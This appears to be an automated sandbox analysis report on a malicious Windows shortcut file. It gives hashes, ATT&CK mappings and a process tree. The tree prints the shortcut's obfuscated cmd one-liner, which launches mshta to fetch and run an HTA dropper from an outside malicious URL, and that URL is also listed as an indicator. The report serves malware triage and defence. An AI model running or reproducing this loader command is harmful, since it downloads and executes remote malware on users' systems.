a1f34778d306f5dd1b87036f4364c2d2c25e1e17ef6986dc3716c0189dd77e16

Analysis

max time kernel
148s
max time network
153s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
04/08/2026, 08:19

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General

Target
DOC-PR8Q96.lnk
Size 1KB
Sample260804-j73sjavdmg
SHA256 a1f34778d306f5dd1b87036f4364c2d2c25e1e17ef6986dc3716c0189dd77e16
MD5 319d0954ec5336e69c87dcab38490bf2
SHA1 2dfdf4640853e961405de0c8cf364a53798b68a1
SHA512 85b5e5b0d9e4bba4543fbecb6551f7d8db36666840c74a4874ff2a378d44cadf2af0394bdc743c1fa8c715da8b85ff1cf445017d1ec4dd47b2884181a79d824e
TLSH
T167319E503FFD0614F3F79E7794BB5B2485BBB9A68E21C61D0151464C1032A14E17AF7B
MD5 SHA1 SHA512 TLSH

Score

10^/10

execution

Malware Config

Extracted

Language

Source

URLs

hta.dropper
https://bro-pdffiller.lat/h/estagio1.php?r=360761F15794

Signatures

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4232	cmd.exe
2948	cmd.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 2948 wrote to memory of 4232	2948	cmd.exe	90
PID 4232 wrote to memory of 1284	4232	cmd.exe	91

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\DOC-PR8Q96.lnk
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:2948
- C:\WINDOWS\system32\cmd.exe
  "C:\WINDOWS\system32\cmd.exe" /V:on /C "set fjv=msh&&set mI=ta&&start "" !fjv!!mI! https://bro-pdffiller.lat/h/estagio1.php?r=360761F15794"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4232
- - C:\Windows\System32\mshta.exe
    mshta https://bro-pdffiller.lat/h/estagio1.php?r=360761F15794
    3⤵
    PID:1284

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

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Downloads